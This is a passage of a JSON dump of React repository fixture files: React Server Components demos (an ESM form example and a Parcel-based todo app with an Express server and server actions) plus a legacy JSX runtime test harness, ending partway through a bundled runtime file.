    "content": "'use client';\n\nimport * as React from 'react';\nimport {useFormStatus} from 'react-dom';\nimport ErrorBoundary from './ErrorBoundary.js';\n\nconst h = React.createElement;\n\nfunction ButtonDisabledWhilePending({action, children}) {\n  const {pending} = useFormStatus();\n  return h(\n    'button',\n    {\n      disabled: pending,\n      formAction: action,\n    },\n    children\n  );\n}\n\nexport default function Button({action, children}) {\n  return h(\n    ErrorBoundary,\n    null,\n    h(\n      'form',\n      null,\n      h(\n        ButtonDisabledWhilePending,\n        {\n          action: action,\n        },\n        children\n      )\n    )\n  );\n}\n"
  },
  {
    "path": "fixtures/flight-esm/src/ErrorBoundary.js",
    "content": "'use client';\n\nimport * as React from 'react';\n\nexport default class ErrorBoundary extends React.Component {\n  state = {error: null};\n  static getDerivedStateFromError(error) {\n    return {error};\n  }\n  render() {\n    if (this.state.error) {\n      return React.createElement(\n        'div',\n        {},\n        'Caught an error: ' + this.state.error.message\n      );\n    }\n    return this.props.children;\n  }\n}\n"
  },
  {
    "path": "fixtures/flight-esm/src/Form.js",
    "content": "'use client';\n\nimport * as React from 'react';\nimport {useFormStatus} from 'react-dom';\nimport ErrorBoundary from './ErrorBoundary.js';\n\nconst h = React.createElement;\n\nfunction Status() {\n  const {pending} = useFormStatus();\n  return pending ? 'Saving...' : null;\n}\n\nexport default function Form({action, children}) {\n  const [isPending, setIsPending] = React.useState(false);\n  return h(\n    ErrorBoundary,\n    null,\n    h(\n      'form',\n      {\n        action: action,\n      },\n      h(\n        'label',\n        {},\n        'Name: ',\n        h('input', {\n          name: 'name',\n        })\n      ),\n      h(\n        'label',\n        {},\n        'File: ',\n        h('input', {\n          type: 'file',\n          name: 'file',\n        })\n      ),\n      h('button', {}, 'Say Hi'),\n      h(Status, {})\n    )\n  );\n}\n"
  },
  {
    "path": "fixtures/flight-esm/src/ServerState.js",
    "content": "let serverState = 'Hello World';\n\nexport function setServerState(message) {\n  serverState = message;\n}\n\nexport function getServerState() {\n  return serverState;\n}\n"
  },
  {
    "path": "fixtures/flight-esm/src/actions.js",
    "content": "'use server';\n\nimport {setServerState} from './ServerState.js';\n\nexport async function like() {\n  setServerState('Liked!');\n  return new Promise((resolve, reject) => resolve('Liked'));\n}\n\nexport async function greet(formData) {\n  const name = formData.get('name') || 'you';\n  setServerState('Hi ' + name);\n  const file = formData.get('file');\n  if (file) {\n    return `Ok, ${name}, here is ${file.name}:\n      ${(await file.text()).toUpperCase()}\n    `;\n  }\n  return 'Hi ' + name + '!';\n}\n"
  },
  {
    "path": "fixtures/flight-esm/src/index.js",
    "content": "import * as React from 'react';\nimport {use, Suspense, useState, startTransition} from 'react';\nimport ReactDOM from 'react-dom/client';\nimport {createFromFetch, encodeReply} from 'react-server-dom-esm/client';\n\nconst moduleBaseURL = '/src/';\n\nfunction findSourceMapURL(fileName) {\n  return (\n    document.location.origin +\n    '/source-maps?name=' +\n    encodeURIComponent(fileName)\n  );\n}\n\nlet updateRoot;\nasync function callServer(id, args) {\n  const response = fetch('/', {\n    method: 'POST',\n    headers: {\n      Accept: 'text/x-component',\n      'rsc-action': id,\n    },\n    body: await encodeReply(args),\n  });\n  const {returnValue, root} = await createFromFetch(response, {\n    callServer,\n    moduleBaseURL,\n    findSourceMapURL,\n  });\n  // Refresh the tree with the new RSC payload.\n  startTransition(() => {\n    updateRoot(root);\n  });\n  return returnValue;\n}\n\nlet data = createFromFetch(\n  fetch('/', {\n    headers: {\n      Accept: 'text/x-component',\n    },\n  }),\n  {\n    callServer,\n    moduleBaseURL,\n    findSourceMapURL,\n  }\n);\n\nfunction Shell({data}) {\n  const [root, setRoot] = useState(use(data));\n  updateRoot = setRoot;\n  return root;\n}\n\nReactDOM.hydrateRoot(document, React.createElement(Shell, {data}));\n"
  },
  {
    "path": "fixtures/flight-esm/src/style.css",
    "content": "body {\n  font-family: Helvetica;\n}"
  },
  {
    "path": "fixtures/flight-parcel/.gitignore",
    "content": ".parcel-cache\n.DS_Store\nnode_modules\ndist\ntodos.json\n"
  },
  {
    "path": "fixtures/flight-parcel/package.json",
    "content": "{\n  \"name\": \"flight-parcel\",\n  \"private\": true,\n  \"source\": \"src/server.tsx\",\n  \"server\": \"dist/server.js\",\n  \"targets\": {\n    \"server\": {\n      \"context\": \"react-server\",\n      \"includeNodeModules\": {\n        \"express\": false\n      }\n    }\n  },\n  \"scripts\": {\n    \"predev\": \"cp -r ../../build/oss-experimental/* ./node_modules/\",\n    \"prebuild\": \"cp -r ../../build/oss-experimental/* ./node_modules/\",\n    \"dev\": \"parcel\",\n    \"build\": \"parcel build\",\n    \"start\": \"node dist/server.js\"\n  },\n  \"dependencies\": {\n    \"@types/parcel-env\": \"^0.0.6\",\n    \"@types/express\": \"*\",\n    \"@types/node\": \"^22.10.1\",\n    \"@types/react\": \"^19\",\n    \"@types/react-dom\": \"^19\",\n    \"concurrently\": \"^7.3.0\",\n    \"express\": \"^4.18.2\",\n    \"parcel\": \"canary\",\n    \"process\": \"^0.11.10\",\n    \"react\": \"experimental\",\n    \"react-dom\": \"experimental\",\n    \"react-server-dom-parcel\": \"experimental\",\n    \"rsc-html-stream\": \"^0.0.4\"\n  }\n}\n"
  },
  {
    "path": "fixtures/flight-parcel/src/Dialog.tsx",
    "content": "'use client';\n\nimport {ReactNode, useRef} from 'react';\n\nexport function Dialog({\n  trigger,\n  children,\n}: {\n  trigger: ReactNode;\n  children: ReactNode;\n}) {\n  let ref = useRef<HTMLDialogElement | null>(null);\n  return (\n    <>\n      <button onClick={() => ref.current?.showModal()}>{trigger}</button>\n      <dialog ref={ref} onSubmit={() => ref.current?.close()}>\n        {children}\n      </dialog>\n    </>\n  );\n}\n"
  },
  {
    "path": "fixtures/flight-parcel/src/TodoCreate.tsx",
    "content": "import {createTodo} from './actions';\n\nexport function TodoCreate() {\n  return (\n    <form action={createTodo}>\n      <label>\n        Title: <input name=\"title\" />\n      </label>\n      <label>\n        Description: <textarea name=\"description\" />\n      </label>\n      <label>\n        Due date: <input type=\"date\" name=\"dueDate\" />\n      </label>\n      <button>Add todo</button>\n    </form>\n  );\n}\n"
  },
  {
    "path": "fixtures/flight-parcel/src/TodoDetail.tsx",
    "content": "import {getTodo, updateTodo} from './actions';\n\nexport async function TodoDetail({id}: {id: number}) {\n  let todo = await getTodo(id);\n  if (!todo) {\n    return <p>Todo not found</p>;\n  }\n\n  return (\n    <form className=\"todo\" action={updateTodo.bind(null, todo.id)}>\n      <label>\n        Title: <input name=\"title\" defaultValue={todo.title} />\n      </label>\n      <label>\n        Description:{' '}\n        <textarea name=\"description\" defaultValue={todo.description} />\n      </label>\n      <label>\n        Due date:{' '}\n        <input type=\"date\" name=\"dueDate\" defaultValue={todo.dueDate} />\n      </label>\n      <button type=\"submit\">Update todo</button>\n    </form>\n  );\n}\n"
  },
  {
    "path": "fixtures/flight-parcel/src/TodoItem.tsx",
    "content": "'use client';\n\nimport {startTransition, useOptimistic} from 'react';\nimport {deleteTodo, setTodoComplete, type Todo as ITodo} from './actions';\n\nexport function TodoItem({\n  todo,\n  isSelected,\n}: {\n  todo: ITodo;\n  isSelected: boolean;\n}) {\n  let [isOptimisticComplete, setOptimisticComplete] = useOptimistic(\n    todo.isComplete,\n  );\n\n  return (\n    <li data-selected={isSelected || undefined}>\n      <input\n        type=\"checkbox\"\n        checked={isOptimisticComplete}\n        onChange={e => {\n          startTransition(async () => {\n            setOptimisticComplete(e.target.checked);\n            await setTodoComplete(todo.id, e.target.checked);\n          });\n        }}\n      />\n      <a\n        href={`/todos/${todo.id}`}\n        aria-current={isSelected ? 'page' : undefined}>\n        {todo.title}\n      </a>\n      <button onClick={() => deleteTodo(todo.id)}>x</button>\n    </li>\n  );\n}\n"
  },
  {
    "path": "fixtures/flight-parcel/src/TodoList.tsx",
    "content": "import {TodoItem} from './TodoItem';\nimport {getTodos} from './actions';\n\nexport async function TodoList({id}: {id: number | undefined}) {\n  let todos = await getTodos();\n  return (\n    <ul className=\"todo-list\">\n      {todos.map(todo => (\n        <TodoItem key={todo.id} todo={todo} isSelected={todo.id === id} />\n      ))}\n    </ul>\n  );\n}\n"
  },
  {
    "path": "fixtures/flight-parcel/src/Todos.css",
    "content": "body {\n  font-family: system-ui;\n  color-scheme: light dark;\n}\n\nform {\n  display: grid;\n  grid-template-columns: auto 1fr;\n  flex-direction: column;\n  max-width: 400px;\n  gap: 8px;\n}\n\nlabel {\n  display: contents;\n}\n\nmain {\n  display: flex;\n  gap: 32px;\n}\n\n.todo-column {\n  width: 250px;\n}\n\nheader {\n  display: flex;\n  align-items: center;\n  justify-content: space-between;\n  max-width: 250px;\n  padding: 8px;\n  padding-right: 40px;\n  box-sizing: border-box;\n}\n\n.todo-list {\n  max-width: 250px;\n  padding: 0;\n  list-style: none;\n  padding-right: 32px;\n  border-right: 1px solid gray;\n\n  li {\n    display: flex;\n    gap: 8px;\n    padding: 8px;\n    border-radius: 8px;\n    accent-color: light-dark(black, white);\n\n    a {\n      color: inherit;\n      text-decoration: none;\n      width: 100%;\n    }\n\n    &[data-selected] {\n      background-color: light-dark(#222, #ddd);\n      color: light-dark(#ddd, #222);\n      accent-color: light-dark(white, black);\n    }\n  }\n}\n"
  },
  {
    "path": "fixtures/flight-parcel/src/Todos.tsx",
    "content": "'use server-entry';\n\nimport './client';\nimport './Todos.css';\nimport {Dialog} from './Dialog';\nimport {TodoDetail} from './TodoDetail';\nimport {TodoCreate} from './TodoCreate';\nimport {TodoList} from './TodoList';\n\nexport async function Todos({id}: {id?: number}) {\n  return (\n    <html style={{colorScheme: 'dark light'}}>\n      <head>\n        <title>Todos</title>\n      </head>\n      <body>\n        <header>\n          <h1>Todos</h1>\n          <Dialog trigger=\"+\">\n            <h2>Add todo</h2>\n            <TodoCreate />\n          </Dialog>\n        </header>\n        <main>\n          <div className=\"todo-column\">\n            <TodoList id={id} />\n          </div>\n          {id != null ? <TodoDetail key={id} id={id} /> : <p>Select a todo</p>}\n        </main>\n      </body>\n    </html>\n  );\n}\n"
  },
  {
    "path": "fixtures/flight-parcel/src/actions.ts",
    "content": "'use server';\n\nimport fs from 'fs/promises';\n\nexport interface Todo {\n  id: number;\n  title: string;\n  description: string;\n  dueDate: string;\n  isComplete: boolean;\n}\n\nexport async function getTodos(): Promise<Todo[]> {\n  try {\n    let contents = await fs.readFile('todos.json', 'utf8');\n    return JSON.parse(contents);\n  } catch {\n    await fs.writeFile('todos.json', '[]');\n    return [];\n  }\n}\n\nexport async function getTodo(id: number): Promise<Todo | undefined> {\n  let todos = await getTodos();\n  return todos.find(todo => todo.id === id);\n}\n\nexport async function createTodo(formData: FormData) {\n  let todos = await getTodos();\n  let title = formData.get('title');\n  let description = formData.get('description');\n  let dueDate = formData.get('dueDate');\n  let id = todos.length > 0 ? Math.max(...todos.map(todo => todo.id)) + 1 : 0;\n  todos.push({\n    id,\n    title: typeof title === 'string' ? title : '',\n    description: typeof description === 'string' ? description : '',\n    dueDate: typeof dueDate === 'string' ? dueDate : new Date().toISOString(),\n    isComplete: false,\n  });\n  await fs.writeFile('todos.json', JSON.stringify(todos));\n}\n\nexport async function updateTodo(id: number, formData: FormData) {\n  let todos = await getTodos();\n  let title = formData.get('title');\n  let description = formData.get('description');\n  let dueDate = formData.get('dueDate');\n  let todo = todos.find(todo => todo.id === id);\n  if (todo) {\n    todo.title = typeof title === 'string' ? title : '';\n    todo.description = typeof description === 'string' ? description : '';\n    todo.dueDate =\n      typeof dueDate === 'string' ? dueDate : new Date().toISOString();\n    await fs.writeFile('todos.json', JSON.stringify(todos));\n  }\n}\n\nexport async function setTodoComplete(id: number, isComplete: boolean) {\n  let todos = await getTodos();\n  let todo = todos.find(todo => todo.id === id);\n  if (todo) {\n    todo.isComplete = isComplete;\n    await fs.writeFile('todos.json', JSON.stringify(todos));\n  }\n}\n\nexport async function deleteTodo(id: number) {\n  let todos = await getTodos();\n  let index = todos.findIndex(todo => todo.id === id);\n  if (index >= 0) {\n    todos.splice(index, 1);\n    await fs.writeFile('todos.json', JSON.stringify(todos));\n  }\n}\n"
  },
  {
    "path": "fixtures/flight-parcel/src/client.tsx",
    "content": "'use client-entry';\n\nimport {\n  useState,\n  use,\n  startTransition,\n  useInsertionEffect,\n  ReactElement,\n} from 'react';\nimport ReactDOM from 'react-dom/client';\nimport {\n  createFromReadableStream,\n  createFromFetch,\n  encodeReply,\n  setServerCallback,\n} from 'react-server-dom-parcel/client';\nimport {rscStream} from 'rsc-html-stream/client';\n\n// Stream in initial RSC payload embedded in the HTML.\nlet initialRSCPayload = createFromReadableStream<ReactElement>(rscStream);\nlet updateRoot:\n  | ((root: ReactElement, cb?: (() => void) | null) => void)\n  | null = null;\n\nfunction Content() {\n  // Store the current root element in state, along with a callback\n  // to call once rendering is complete.\n  let [[root, cb], setRoot] = useState<[ReactElement, (() => void) | null]>([\n    use(initialRSCPayload),\n    null,\n  ]);\n  updateRoot = (root, cb) => setRoot([root, cb ?? null]);\n  useInsertionEffect(() => cb?.());\n  return root;\n}\n\n// Hydrate initial page content.\nstartTransition(() => {\n  ReactDOM.hydrateRoot(document, <Content />);\n});\n\n// A very simple router. When we navigate, we'll fetch a new RSC payload from the server,\n// and in a React transition, stream in the new page. Once complete, we'll pushState to\n// update the URL in the browser.\nasync function navigate(pathname: string, push = false) {\n  let res = fetch(pathname, {\n    headers: {\n      Accept: 'text/x-component',\n    },\n  });\n  let root = await createFromFetch<ReactElement>(res);\n  startTransition(() => {\n    updateRoot!(root, () => {\n      if (push) {\n        history.pushState(null, '', pathname);\n        push = false;\n      }\n    });\n  });\n}\n\n// Intercept link clicks to perform RSC navigation.\ndocument.addEventListener('click', e => {\n  let link = (e.target as Element).closest('a');\n  if (\n    link &&\n    link instanceof HTMLAnchorElement &&\n    link.href &&\n    (!link.target || link.target === '_self') &&\n    link.origin === location.origin &&\n    !link.hasAttribute('download') &&\n    e.button === 0 && // left clicks only\n    !e.metaKey && // open in new tab (mac)\n    !e.ctrlKey && // open in new tab (windows)\n    !e.altKey && // download\n    !e.shiftKey &&\n    !e.defaultPrevented\n  ) {\n    e.preventDefault();\n    navigate(link.pathname, true);\n  }\n});\n\n// When the user clicks the back button, navigate with RSC.\nwindow.addEventListener('popstate', e => {\n  navigate(location.pathname);\n});\n\n// Intercept HMR window reloads, and do it with RSC instead.\nwindow.addEventListener('parcelhmrreload', e => {\n  e.preventDefault();\n  navigate(location.pathname);\n});\n\n// Setup a callback to perform server actions.\n// This sends a POST request to the server, and updates the page with the response.\nsetServerCallback(async function (id: string, args: any[]) {\n  console.log('Handling server action', id, args);\n  const response = fetch(location.pathname, {\n    method: 'POST',\n    headers: {\n      Accept: 'text/x-component',\n      'rsc-action-id': id,\n    },\n    body: await encodeReply(args),\n  });\n  const {result, root} = await createFromFetch<{\n    root: JSX.Element;\n    result: any;\n  }>(response);\n  startTransition(() => updateRoot!(root));\n  return result;\n});\n"
  },
  {
    "path": "fixtures/flight-parcel/src/server.tsx",
    "content": "// Server dependencies.\nimport express, {\n  type Request as ExpressRequest,\n  type Response as ExpressResponse,\n} from 'express';\nimport {Readable} from 'node:stream';\nimport type {ReadableStream as NodeReadableStream} from 'stream/web';\nimport {\n  renderToReadableStream,\n  loadServerAction,\n  decodeReply,\n  decodeAction,\n} from 'react-server-dom-parcel/server.edge';\nimport {injectRSCPayload} from 'rsc-html-stream/server';\n\n// Client dependencies, used for SSR.\n// These must run in the same environment as client components (e.g. same instance of React).\nimport {createFromReadableStream} from 'react-server-dom-parcel/client.edge' with {env: 'react-client'};\nimport {renderToReadableStream as renderHTMLToReadableStream} from 'react-dom/server.edge' with {env: 'react-client'};\nimport ReactClient, {ReactElement} from 'react' with {env: 'react-client'};\n\n// Page components. These must have \"use server-entry\" so they are treated as code splitting entry points.\nimport {Todos} from './Todos';\n\nconst app = express();\n\napp.use(function (req, res, next) {\n  res.setHeader('Access-Control-Allow-Methods', 'GET,HEAD,POST');\n  res.setHeader('Access-Control-Allow-Origin', '*');\n  res.setHeader('Access-Control-Allow-Headers', 'rsc-action');\n  next();\n});\n\napp.use(express.static('dist'));\n\napp.get('/', async (req, res) => {\n  await render(req, res, <Todos />);\n});\n\napp.post('/', async (req, res) => {\n  await handleAction(req, res, <Todos />);\n});\n\napp.get('/todos/:id', async (req, res) => {\n  await render(req, res, <Todos id={Number(req.params.id)} />);\n});\n\napp.post('/todos/:id', async (req, res) => {\n  await handleAction(req, res, <Todos id={Number(req.params.id)} />);\n});\n\nasync function render(\n  req: ExpressRequest,\n  res: ExpressResponse,\n  component: ReactElement,\n  actionResult?: any,\n) {\n  // Render RSC payload.\n  let root: any = component;\n  if (actionResult) {\n    root = {result: actionResult, root};\n  }\n  let stream = renderToReadableStream(root);\n  if (req.accepts('text/html')) {\n    res.setHeader('Content-Type', 'text/html');\n\n    // Use client react to render the RSC payload to HTML.\n    let [s1, s2] = stream.tee();\n    let data: Promise<ReactElement>;\n    function Content() {\n      data ??= createFromReadableStream<ReactElement>(s1);\n      return ReactClient.use(data);\n    }\n\n    let htmlStream = await renderHTMLToReadableStream(<Content />, {\n      bootstrapScriptContent: (Todos as any).bootstrapScript,\n    });\n    let response = htmlStream.pipeThrough(injectRSCPayload(s2));\n    Readable.fromWeb(response as NodeReadableStream).pipe(res);\n  } else {\n    res.set('Content-Type', 'text/x-component');\n    Readable.fromWeb(stream as NodeReadableStream).pipe(res);\n  }\n}\n\n// Handle server actions.\nasync function handleAction(\n  req: ExpressRequest,\n  res: ExpressResponse,\n  component: ReactElement,\n) {\n  let id = req.get('rsc-action-id');\n  let request = new Request('http://localhost' + req.url, {\n    method: 'POST',\n    headers: req.headers as any,\n    body: Readable.toWeb(req) as ReadableStream,\n    // @ts-ignore\n    duplex: 'half',\n  });\n\n  if (id) {\n    let action = await loadServerAction(id);\n    let body = req.is('multipart/form-data')\n      ? await request.formData()\n      : await request.text();\n    let args = await decodeReply<any[]>(body);\n    let result = action.apply(null, args);\n    try {\n      // Wait for any mutations\n      await result;\n    } catch (x) {\n      // We handle the error on the client\n    }\n\n    await render(req, res, component, result);\n  } else {\n    // Form submitted by browser (progressive enhancement).\n    let formData = await request.formData();\n    let action = await decodeAction(formData);\n    try {\n      // Wait for any mutations\n      await action();\n    } catch (err) {\n      // TODO render error page?\n    }\n    await render(req, res, component);\n  }\n}\n\nlet server = app.listen(3001);\nconsole.log('Server listening on port 3001');\n\n// Restart the server when it changes.\nif (module.hot) {\n  module.hot.dispose(() => {\n    server.close();\n  });\n\n  module.hot.accept();\n}\n"
  },
  {
    "path": "fixtures/flight-parcel/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"strict\": true,\n    \"jsx\": \"react-jsx\",\n    \"allowSyntheticDefaultImports\": true,\n    \"moduleResolution\": \"node\",\n    \"module\": \"esnext\",\n    \"isolatedModules\": true,\n    \"esModuleInterop\": true,\n    \"target\": \"es2022\"\n  }\n}\n"
  },
  {
    "path": "fixtures/flight-parcel/types.d.ts",
    "content": "// TODO: move these into their respective packages.\n\ndeclare module 'react-server-dom-parcel/client' {\n  export function createFromFetch<T>(res: Promise<Response>): Promise<T>;\n  export function encodeReply(value: any): Promise<string | URLSearchParams | FormData>;\n\n  type CallServerCallback = <T>(id: string, args: any[]) => Promise<T>;\n  export function setServerCallback(cb: CallServerCallback): void;\n}\n\ndeclare module 'react-server-dom-parcel/client.edge' {\n  export function createFromReadableStream<T>(stream: ReadableStream): Promise<T>;\n}\n\ndeclare module 'react-server-dom-parcel/server.edge' {\n  export function renderToReadableStream(value: any): ReadableStream;\n  export function loadServerAction(id: string): Promise<(...args: any[]) => any>;\n  export function decodeReply<T>(body: string | FormData): Promise<T>;\n  export function decodeAction(body: FormData): Promise<(...args: any[]) => any>;\n}\n\ndeclare module '@parcel/runtime-rsc' {\n  import {JSX} from 'react';\n  export function Resources(): JSX.Element;\n}\n\ndeclare module 'react-dom/server.edge' {\n  export * from 'react-dom/server';\n}\n"
  },
  {
    "path": "fixtures/legacy-jsx-runtimes/README.md",
    "content": "# Legacy JSX Runtimes\n\nThis is an internal testing fixture for the special JSX runtime versions released for 0.14, 15, and 16.\n\nThey are checked into the corresponding `react-*/cjs/*` folders.\n\nRun the full regression suite:\n\n```\nyarn\nyarn test\n```\n"
  },
  {
    "path": "fixtures/legacy-jsx-runtimes/babel.config.js",
    "content": "module.exports = {\n  presets: [\n    [\n      '@babel/react',\n      {\n        runtime: 'automatic',\n        development: process.env.BABEL_ENV === 'development',\n      },\n    ],\n  ],\n  plugins: ['@babel/plugin-transform-modules-commonjs'],\n};\n"
  },
  {
    "path": "fixtures/legacy-jsx-runtimes/lint-runtimes.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nconst path = require('path');\n\nconst {ESLint} = require('eslint');\n\nfunction getESLintInstance(format) {\n  return new ESLint({\n    useEslintrc: false,\n    overrideConfigFile:\n      __dirname + `../../../scripts/rollup/validate/eslintrc.${format}.js`,\n    ignore: false,\n  });\n}\n\nconst esLints = {\n  cjs: getESLintInstance('cjs'),\n};\n\n// Performs sanity checks on bundles *built* by Rollup.\n// Helps catch Rollup regressions.\nasync function lint(folder) {\n  console.log(`Linting ` + folder);\n  const eslint = esLints.cjs;\n\n  const results = await eslint.lintFiles([\n    __dirname + '/' + folder + '/cjs/react-jsx-dev-runtime.development.js',\n    __dirname + '/' + folder + '/cjs/react-jsx-dev-runtime.production.min.js',\n    __dirname + '/' + folder + '/cjs/react-jsx-runtime.development.js',\n    __dirname + '/' + folder + '/cjs/react-jsx-runtime.production.min.js',\n  ]);\n  if (\n    results.some(result => result.errorCount > 0 || result.warningCount > 0)\n  ) {\n    process.exitCode = 1;\n    console.log(`Failed`);\n    const formatter = await eslint.loadFormatter('stylish');\n    const resultText = formatter.format(results);\n    console.log(resultText);\n  }\n}\n\nasync function lintEverything() {\n  console.log(`Linting known bundles...`);\n  await lint('react-14');\n  await lint('react-15');\n  await lint('react-16');\n  await lint('react-17');\n}\n\nlintEverything().catch(error => {\n  process.exitCode = 1;\n  console.error(error);\n});\n"
  },
  {
    "path": "fixtures/legacy-jsx-runtimes/package.json",
    "content": "{\n  \"dependencies\": {\n    \"@babel/plugin-transform-modules-commonjs\": \"^7.10.4\",\n    \"@babel/preset-react\": \"^7.10.4\",\n    \"jest\": \"^29.4.1\"\n  },\n  \"jest\": {\n    \"setupFilesAfterEnv\": [\n      \"./setupTests.js\"\n    ]\n  },\n  \"scripts\": {\n    \"install-all\": \"cd react-14 && yarn && cd ../react-15 && yarn && cd ../react-16 && yarn && cd ../react-17 && yarn && cd ..\",\n    \"lint\": \"node lint-runtimes.js\",\n    \"pretest\": \"yarn install-all && yarn lint\",\n    \"test-jsxdev-dev\": \"BABEL_ENV=development NODE_ENV=development jest --env=jsdom\",\n    \"test-jsx-dev\": \"BABEL_ENV=production NODE_ENV=development jest --env=jsdom\",\n    \"test-jsx-prod\": \"BABEL_ENV=production NODE_ENV=production jest --env=jsdom\",\n    \"test\": \"yarn test-jsxdev-dev && yarn test-jsx-dev && yarn test-jsx-prod\"\n  }\n}\n"
  },
  {
    "path": "fixtures/legacy-jsx-runtimes/react-14/cjs/react-jsx-dev-runtime.development.js",
    "content": "/** @license React v0.14.10\n * react-jsx-dev-runtime.development.js\n *\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nif (process.env.NODE_ENV !== \"production\") {\n  (function() {\n'use strict';\n\nvar React = require('react');\n\n// ATTENTION\n// When adding new symbols to this file,\n// Please consider also adding to 'react-devtools-shared/src/backend/ReactSymbols'\n// The Symbol used to tag the ReactElement-like types. If there is no native Symbol\n// nor polyfill, then a plain number is used for performance.\nvar REACT_ELEMENT_TYPE = 0xeac7;\nvar REACT_PORTAL_TYPE = 0xeaca;\nexports.Fragment = 0xeacb;\nvar REACT_STRICT_MODE_TYPE = 0xeacc;\nvar REACT_PROFILER_TYPE = 0xead2;\nvar REACT_PROVIDER_TYPE = 0xeacd;\nvar REACT_CONTEXT_TYPE = 0xeace;\nvar REACT_FORWARD_REF_TYPE = 0xead0;\nvar REACT_SUSPENSE_TYPE = 0xead1;\nvar REACT_SUSPENSE_LIST_TYPE = 0xead8;\nvar REACT_MEMO_TYPE = 0xead3;\nvar REACT_LAZY_TYPE = 0xead4;\nvar REACT_BLOCK_TYPE = 0xead9;\nvar REACT_SERVER_BLOCK_TYPE = 0xeada;\nvar REACT_FUNDAMENTAL_TYPE = 0xead5;\nvar REACT_SCOPE_TYPE = 0xead7;\nvar REACT_OPAQUE_ID_TYPE = 0xeae0;\nvar REACT_DEBUG_TRACING_MODE_TYPE = 0xeae1;\nvar REACT_OFFSCREEN_TYPE = 0xeae2;\nvar REACT_LEGACY_HIDDEN_TYPE = 0xeae3;\n\nif (typeof Symbol === 'function' && Symbol.for) {\n  var symbolFor = Symbol.for;\n  REACT_ELEMENT_TYPE = symbolFor('react.element');\n  REACT_PORTAL_TYPE = symbolFor('react.portal');\n  exports.Fragment = symbolFor('react.fragment');\n  REACT_STRICT_MODE_TYPE = symbolFor('react.strict_mode');\n  REACT_PROFILER_TYPE = symbolFor('react.profiler');\n  REACT_PROVIDER_TYPE = symbolFor('react.provider');\n  REACT_CONTEXT_TYPE = symbolFor('react.context');\n  REACT_FORWARD_REF_TYPE = symbolFor('react.forward_ref');\n  REACT_SUSPENSE_TYPE = symbolFor('react.suspense');\n  REACT_SUSPENSE_LIST_TYPE = symbolFor('react.suspense_list');\n  REACT_MEMO_TYPE = symbolFor('react.memo');\n  REACT_LAZY_TYPE = symbolFor('react.lazy');\n  REACT_BLOCK_TYPE = symbolFor('react.block');\n  REACT_SERVER_BLOCK_TYPE = symbolFor('react.server.block');\n  REACT_FUNDAMENTAL_TYPE = symbolFor('react.fundamental');\n  REACT_SCOPE_TYPE = symbolFor('react.scope');\n  REACT_OPAQUE_ID_TYPE = symbolFor('react.opaque.id');\n  REACT_DEBUG_TRACING_MODE_TYPE = symbolFor('react.debug_trace_mode');\n  REACT_OFFSCREEN_TYPE = symbolFor('react.offscreen');\n  REACT_LEGACY_HIDDEN_TYPE = symbolFor('react.legacy_hidden');\n}\n\nvar MAYBE_ITERATOR_SYMBOL = typeof Symbol === 'function' && Symbol.iterator;\nvar FAUX_ITERATOR_SYMBOL = '@@iterator';\nfunction getIteratorFn(maybeIterable) {\n  if (maybeIterable === null || typeof maybeIterable !== 'object') {\n    return null;\n  }\n\n  var maybeIterator = MAYBE_ITERATOR_SYMBOL && maybeIterable[MAYBE_ITERATOR_SYMBOL] || maybeIterable[FAUX_ITERATOR_SYMBOL];\n\n  if (typeof maybeIterator === 'function') {\n    return maybeIterator;\n  }\n\n  return null;\n}\n\nfunction error(format) {\n  {\n    for (var _len2 = arguments.length, args = new Array(_len2 > 1 ? _len2 - 1 : 0), _key2 = 1; _key2 < _len2; _key2++) {\n      args[_key2 - 1] = arguments[_key2];\n    }\n\n    printWarning('error', format, args);\n  }\n}\n\nfunction printWarning(level, format, args) {\n  // When changing this logic, you might want to also\n  // update consoleWithStackDev.www.js as well.\n  {\n    var stack = '';\n\n\n    if (stack !== '') {\n      format += '%s';\n      args = args.concat([stack]);\n    }\n\n    var argsWithFormat = args.map(function (item) {\n      return '' + item;\n    }); // Careful: RN currently depends on this prefix\n\n    argsWithFormat.unshift('Warning: ' + format); // We intentionally don't use spread (or .apply) directly because it\n    // breaks IE9: https://github.com/facebook/react/issues/13610\n    // eslint-disable-next-line react-internal/no-production-logging\n\n    Function.prototype.apply.call(console[level], console, argsWithFormat);\n  }\n}\n\n// Filter certain DOM attributes (e.g. src, href) if their values are empty strings.\n\nvar enableScopeAPI = false; // Experimental Create Event Handle API.\n\nfunction isValidElementType(type) {\n  if (typeof type === 'string' || typeof type === 'function') {\n    return true;\n  } // Note: typeof might be other than 'symbol' or 'number' (e.g. if it's a polyfill).\n\n\n  if (type === exports.Fragment || type === REACT_PROFILER_TYPE || type === REACT_DEBUG_TRACING_MODE_TYPE || type === REACT_STRICT_MODE_TYPE || type === REACT_SUSPENSE_TYPE || type === REACT_SUSPENSE_LIST_TYPE || type === REACT_LEGACY_HIDDEN_TYPE || enableScopeAPI ) {\n    return true;\n  }\n\n  if (typeof type === 'object' && type !== null) {\n    if (type.$$typeof === REACT_LAZY_TYPE || type.$$typeof === REACT_MEMO_TYPE || type.$$typeof === REACT_PROVIDER_TYPE || type.$$typeof === REACT_CONTEXT_TYPE || type.$$typeof === REACT_FORWARD_REF_TYPE || type.$$typeof === REACT_FUNDAMENTAL_TYPE || type.$$typeof === REACT_BLOCK_TYPE || type[0] === REACT_SERVER_BLOCK_TYPE) {\n      return true;\n    }\n  }\n\n  return false;\n}\nvar BEFORE_SLASH_RE = /^(.*)[\\\\\\/]/;\nfunction describeComponentFrame (name, source, ownerName) {\n  var sourceInfo = '';\n\n  if (source) {\n    var path = source.fileName;\n    var fileName = path.replace(BEFORE_SLASH_RE, '');\n\n    {\n      // In DEV, include code for a common special case:\n      // prefer \"folder/index.js\" instead of just \"index.js\".\n      if (/^index\\./.test(fileName)) {\n        var match = path.match(BEFORE_SLASH_RE);\n\n        if (match) {\n          var pathBeforeSlash = match[1];\n\n          if (pathBeforeSlash) {\n            var folderName = pathBeforeSlash.replace(BEFORE_SLASH_RE, '');\n            fileName = folderName + '/' + fileName;\n          }\n        }\n      }\n    }\n\n    sourceInfo = ' (at ' + fileName + ':' + source.lineNumber + ')';\n  } else if (ownerName) {\n    sourceInfo = ' (created by ' + ownerName + ')';\n  }\n\n  return 